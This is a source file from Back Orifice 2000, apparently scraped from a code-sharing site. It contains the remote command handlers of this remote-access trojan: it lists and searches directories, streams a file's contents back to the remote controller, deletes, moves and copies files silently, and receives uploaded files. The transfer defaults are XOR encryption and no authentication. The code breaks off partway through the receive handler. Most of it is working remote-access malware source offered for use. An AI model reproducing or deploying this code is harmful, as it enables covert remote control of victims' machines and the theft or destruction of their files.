📄 cmd_file.cpp
字号:
/* Back Orifice 2000 - Remote Administration Suite
Copyright (C) 1999, Cult Of The Dead Cow
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
The author of this program may be contacted at dildog@l0pht.com. */
#include<windows.h>
#include<auth.h>
#include<iohandler.h>
#include<encryption.h>
#include<commandloop.h>
#include<bocomreg.h>
#include<cmd\cmd_file.h>
#include<config.h>
#include<strhandle.h>
char g_svFileOptions[]="<**CFG**>File Transfer\0"
"S[8]:File Xfer Net Type=TCPIO\0\0\0\0"
"S[48]:File Xfer Bind Str=RANDOM\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
"S[8]:File Xfer Encryption=XOR\0\0\0\0\0\0"
"S[8]:File Xfer Auth=NULLAUTH\0";
typedef enum {
SEND,
RECV,
EMIT
} XFERTYPE;
typedef struct {
char svName[256];
char svPath[MAX_PATH+1];
BOOL bActive;
HANDLE htd;
XFERTYPE nType;
} XFERFILEINFO;
XFERFILEINFO *g_pXferInfo=NULL;
int g_nXfers;
CRITICAL_SECTION g_csXfer;
#define MAX_XFERS 32
typedef struct {
HANDLE hFile;
CAuthSocket *fas;
BOOL *pbActive;
} XFERFILEARGS;
int CmdProc_DirectoryList(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
char svBuffer[1024];
// Set directory wildcard spec if one doesn't exist
char svPath[MAX_PATH+1];
lstrcpyn(svPath,svArg2,MAX_PATH-1);
if(svPath[lstrlen(svPath)-1]=='\\')
lstrcat(svPath, "*");
// Start file enumeration
HANDLE hFind;
WIN32_FIND_DATA finddata;
hFind=FindFirstFile(svPath, &finddata);
if(hFind==INVALID_HANDLE_VALUE) {
IssueAuthCommandReply(cas_from,comid,1,"Unable to enumerate files.\n");
return 1;
}
wsprintf(svBuffer,"Contents of directory '%s':\n", svArg2 );
IssueAuthCommandReply(cas_from,comid,1,svBuffer);
// Enumerate files
int nCount;
DWORD dwBytes;
nCount=0;
dwBytes=0;
do {
char svAttribs[8];
FILETIME filetime;
SYSTEMTIME systemtime;
lstrcpy(svAttribs,"-------");
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) svAttribs[0] = 'D';
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE) svAttribs[1] = 'A';
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN) svAttribs[2] = 'H';
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED) svAttribs[3] = 'C';
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_READONLY) svAttribs[4] = 'R';
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM) svAttribs[5] = 'S';
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_TEMPORARY) svAttribs[6] = 'T';
FileTimeToLocalFileTime(&finddata.ftLastWriteTime, &filetime);
FileTimeToSystemTime(&filetime, &systemtime);
wsprintf(svBuffer,"%12s %8d %7s %2.2d-%2.2d-%4.4d %2.2d:%2.2d %.260s\n", finddata.cAlternateFileName, finddata.nFileSizeLow, svAttribs, (int)systemtime.wMonth, (int)systemtime.wDay, (int)systemtime.wYear, (int)systemtime.wHour%24, (int)systemtime.wMinute%60, finddata.cFileName );
IssueAuthCommandReply(cas_from,comid,1,svBuffer);
nCount++;
dwBytes+=finddata.nFileSizeLow;
} while(FindNextFile(hFind, &finddata));
// Close enumeration
FindClose(hFind);
wsprintf(svBuffer, "%lu bytes in %ld files.\n", dwBytes, nCount);
IssueAuthCommandReply(cas_from,comid,0,svBuffer);
return 0;
}
int FindFile(CAuthSocket *cas_from, int comid, char *svRoot, char *svSpec, char *svBuffer)
{
char svPath[MAX_PATH+1];
// Set directory wildcard spec if one doesn't exist
lstrcpyn(svPath,svRoot,MAX_PATH-1);
if(svPath[lstrlen(svPath)-1]=='\\')
lstrcpyn(svPath+lstrlen(svPath), svSpec, MAX_PATH-1-lstrlen(svPath));
else {
lstrcat(svPath,"\\");
lstrcpyn(svPath+lstrlen(svPath), svSpec, MAX_PATH-lstrlen(svPath));
}
// Start file enumeration
HANDLE hFind;
WIN32_FIND_DATA finddata;
int nCount;
nCount=0;
hFind=FindFirstFile(svPath, &finddata);
if(hFind!=INVALID_HANDLE_VALUE) {
wsprintf(svBuffer,"Matched files in directory '%s':\n", svRoot );
IssueAuthCommandReply(cas_from,comid,1,svBuffer);
// Enumerate files
do {
char svAttribs[8];
FILETIME filetime;
SYSTEMTIME systemtime;
lstrcpy(svAttribs,"-------");
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) svAttribs[0] = 'D';
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE) svAttribs[1] = 'A';
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN) svAttribs[2] = 'H';
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED) svAttribs[3] = 'C';
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_READONLY) svAttribs[4] = 'R';
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM) svAttribs[5] = 'S';
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_TEMPORARY) svAttribs[6] = 'T';
FileTimeToLocalFileTime(&finddata.ftCreationTime, &filetime);
FileTimeToSystemTime(&filetime, &systemtime);
wsprintf(svBuffer,"%12s %8d %7s %02d-%02d-%02d %02d:%02d %.260s\n", finddata.cAlternateFileName, finddata.nFileSizeLow, svAttribs, (int)systemtime.wMonth, (int)systemtime.wDay, (int)systemtime.wYear%100, (int)systemtime.wHour, (int)systemtime.wMinute, finddata.cFileName );
IssueAuthCommandReply(cas_from,comid,1,svBuffer);
nCount++;
} while(FindNextFile(hFind, &finddata));
// Close enumeration
FindClose(hFind);
}
// Recurse
lstrcpyn(svPath,svRoot,MAX_PATH-1);
if(svPath[lstrlen(svPath)-1]=='\\')
lstrcpyn(svPath+lstrlen(svPath), "*", MAX_PATH-lstrlen(svPath));
else {
lstrcpyn(svPath+lstrlen(svPath), "\\*", MAX_PATH-lstrlen(svPath));
}
hFind=FindFirstFile(svPath, &finddata);
if(hFind==INVALID_HANDLE_VALUE) {
return nCount;
}
do {
if((lstrcmp(finddata.cFileName,".")==0) ||
(lstrcmp(finddata.cFileName,"..")==0)) continue;
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
char svNewRoot[MAX_PATH+1];
lstrcpyn(svNewRoot,svRoot,MAX_PATH-1);
if(svNewRoot[lstrlen(svNewRoot)-1]=='\\')
lstrcpyn(svNewRoot+lstrlen(svNewRoot), finddata.cFileName, MAX_PATH-1-lstrlen(svNewRoot));
else {
lstrcat(svNewRoot,"\\");
lstrcpyn(svNewRoot+lstrlen(svNewRoot), finddata.cFileName, MAX_PATH-lstrlen(svNewRoot));
}
nCount+=FindFile(cas_from,comid,svNewRoot,svSpec,svBuffer);
}
} while(FindNextFile(hFind, &finddata));
// Close enumeration
FindClose(hFind);
return nCount;
}
int CmdProc_FileFind(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
char svBuffer[1024];
int nCount;
nCount=FindFile(cas_from,comid,svArg2,svArg3,svBuffer);
wsprintf(svBuffer,"%d matches found.\n",nCount);
IssueAuthCommandReply(cas_from,comid,0,svBuffer);
return 0;
}
int CmdProc_FileDelete(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
if(DeleteFile(svArg2)==0) {
IssueAuthCommandReply(cas_from,comid,0,"Could not delete file.\n");
return 1;
}
IssueAuthCommandReply(cas_from,comid,0,"File deleted.\n");
return 0;
}
int CmdProc_FileView(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
HANDLE hFile;
hFile=CreateFile(svArg2,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(hFile==INVALID_HANDLE_VALUE) {
IssueAuthCommandReply(cas_from,comid,0,"Could not open file.\n");
return 1;
}
// Spit out lines to io socket
char *pData;
char *svLine;
DWORD dwLen,dwBytes;
pData=(char *) malloc(4097);
svLine=(char *) malloc(4097);
if(pData==NULL || svLine==NULL) {
if(pData!=NULL) free(pData);
if(svLine!=NULL) free(svLine);
IssueAuthCommandReply(cas_from,comid,0,"Error allocating memory.\n");
return 1;
}
dwLen=4096;
do {
ReadFile(hFile,pData,dwLen,&dwBytes,NULL);
pData[dwBytes]='\0';
IssueAuthCommandReply(cas_from,comid,1,pData);
} while(dwLen==dwBytes);
IssueAuthCommandReply(cas_from,comid,0,"\n<<EOF>>\n");
free(pData);
free(svLine);
CloseHandle(hFile);
return 0;
}
int CmdProc_FileRename(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
if(GetFileAttributes(svArg2)&FILE_ATTRIBUTE_DIRECTORY) {
char svSrc[260];
lstrcpyn(svSrc,svArg2,259);
svSrc[lstrlen(svSrc)+1]='\0';
char svDst[260];
lstrcpyn(svDst,svArg3,259);
svDst[lstrlen(svDst)+1]='\0';
SHFILEOPSTRUCT shfos;
memset(&shfos,0,sizeof(SHFILEOPSTRUCT));
shfos.hwnd=NULL;
shfos.wFunc=FO_MOVE;
shfos.pFrom=svSrc;
shfos.pTo=svDst;
shfos.fFlags=FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR|FOF_NOERRORUI|FOF_RENAMEONCOLLISION|FOF_SILENT;
if(SHFileOperation(&shfos)!=0) {
IssueAuthCommandReply(cas_from,comid,0,"Could not move/rename directory.\n");
return 1;
}
} else {
if(MoveFile(svArg2,svArg3)==0) {
IssueAuthCommandReply(cas_from,comid,0,"Could not move/rename file.\n");
return 1;
}
}
IssueAuthCommandReply(cas_from,comid,0,"File moved/renamed.\n");
return 0;
}
int CmdProc_FileCopy(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
if(GetFileAttributes(svArg2)&FILE_ATTRIBUTE_DIRECTORY) {
char svSrc[260];
lstrcpyn(svSrc,svArg2,259);
svSrc[lstrlen(svSrc)+1]='\0';
char svDst[260];
lstrcpyn(svDst,svArg3,259);
svDst[lstrlen(svDst)+1]='\0';
SHFILEOPSTRUCT shfos;
memset(&shfos,0,sizeof(SHFILEOPSTRUCT));
shfos.hwnd=NULL;
shfos.wFunc=FO_COPY;
shfos.pFrom=svSrc;
shfos.pTo=svDst;
shfos.fFlags=FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR|FOF_NOERRORUI|FOF_RENAMEONCOLLISION|FOF_SILENT;
if(SHFileOperation(&shfos)!=0) {
IssueAuthCommandReply(cas_from,comid,0,"Could not copy directory.\n");
return 1;
}
} else {
if(CopyFile(svArg2,svArg3,FALSE)==0) {
IssueAuthCommandReply(cas_from,comid,0,"Could not copy file.\n");
return 1;
}
}
IssueAuthCommandReply(cas_from,comid,0,"File copied.\n");
return 0;
}
int CmdProc_DirectoryMake(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
if(CreateDirectory(svArg2,NULL)==0) {
IssueAuthCommandReply(cas_from,comid,0,"Could not create directory.\n");
return 1;
}
IssueAuthCommandReply(cas_from,comid,0,"Directory created.\n");
return 0;
}
int CmdProc_DirectoryDelete(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
if(GetFileAttributes(svArg2)&FILE_ATTRIBUTE_DIRECTORY) {
char svSrc[260];
lstrcpyn(svSrc,svArg2,259);
svSrc[lstrlen(svSrc)+1]='\0';
SHFILEOPSTRUCT shfos;
memset(&shfos,0,sizeof(SHFILEOPSTRUCT));
shfos.hwnd=GetDesktopWindow();
shfos.wFunc=FO_DELETE;
shfos.pFrom=svSrc;
shfos.fFlags=FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR|FOF_NOERRORUI|FOF_RENAMEONCOLLISION|FOF_SILENT;
if(SHFileOperation(&shfos)!=0) {
IssueAuthCommandReply(cas_from,comid,0,"Could not delete directory.\n");
return 1;
}
} else {
IssueAuthCommandReply(cas_from,comid,0,"Could not delete. Not a directory.\n");
return 1;
}
IssueAuthCommandReply(cas_from,comid,0,"Directory removed.\n");
return 0;
}
int Cmd_FileXfer_Init(void)
{
InitializeCriticalSection(&g_csXfer);
g_nXfers=0;
g_pXferInfo=(XFERFILEINFO *)malloc(sizeof(XFERFILEINFO)*MAX_XFERS);
return 0;
}
int Cmd_FileXfer_Kill(void)
{
DeleteCriticalSection(&g_csXfer);
int i;
for(i=0;i<g_nXfers;i++) {
g_pXferInfo[i].bActive=FALSE;
WaitForSingleObject(g_pXferInfo[i].htd,5000);
}
g_nXfers=0;
free(g_pXferInfo);
return 0;
}
DWORD WINAPI RecvFileThread(LPVOID lpArgs)
{
HANDLE hFile=((XFERFILEARGS *)lpArgs)->hFile;
CAuthSocket *fas=((XFERFILEARGS *)lpArgs)->fas;
BOOL *pbActive=((XFERFILEARGS *)lpArgs)->pbActive;
free(lpArgs);
// Receive file
CAuthSocket *child=NULL;
while(*pbActive) {
// Accept only one connection
child=fas->Accept();
if(child!=NULL) {
break;
}
Sleep(0);
}
if(child) {
int ret,len,count;
BYTE *data;
// Get transfer length
while((ret=child->Recv(&data,&len))==0);
if(ret>0) {
count=*(int *)data;
// Transfer file
while((*pbActive) && count>0) {
ret=child->Recv(&data,&len);
if(ret>0) {
DWORD written;
WriteFile(hFile,data,len,&written,NULL);
fas->Free(data);
if(written!=(DWORD)len) {
*pbActive=FALSE;
}
count-=len;
} else if(ret==0) {
Sleep(20);
} else {
*pbActive=FALSE;
}
}
}
// close socket
child->Close();
delete child;
}
fas->Close();
delete fas;
// close file
CloseHandle(hFile);
// Remove self from xfer list
EnterCriticalSection(&g_csXfer);
int i;
for(i=0;i<g_nXfers;i++) {
if(pbActive==&(g_pXferInfo[i].bActive)) {
if(i<(g_nXfers-1)) {
memcpy(g_pXferInfo+i,g_pXferInfo+i+1,g_nXfers-(i+1));
}
g_nXfers--;
break;
}
}
LeaveCriticalSection(&g_csXfer);
return 0;
}
int CmdProc_ReceiveFile(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
char *svEnc=NULL,*svAuth=NULL,*svNetMod=NULL,*svBindStr=NULL,*svParam=NULL;
// Check if already started
EnterCriticalSection(&g_csXfer);
if(g_nXfers>=MAX_XFERS) {
IssueAuthCommandReply(cas_from,comid,0,"Could not receive. Too many transfers started.\n");
LeaveCriticalSection(&g_csXfer);
return -1;
}
// Get parameters
svBindStr=GetCfgStr(g_svFileOptions,"File Xfer Bind Str");
svNetMod=GetCfgStr(g_svFileOptions,"File Xfer Net Type");
svEnc=GetCfgStr(g_svFileOptions,"File Xfer Encryption");
svAuth=GetCfgStr(g_svFileOptions,"File Xfer Auth");
if((svParam=svArg2)!=NULL) {
if(svParam[0]!='\0') svBindStr=svParam;
if((svParam=BreakString(svBindStr,","))!=NULL) {
if(svParam[0]!='\0') svNetMod=svParam;
if((svParam=BreakString(svNetMod,","))!=NULL) {
if(svParam[0]!='\0') svEnc=svParam;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -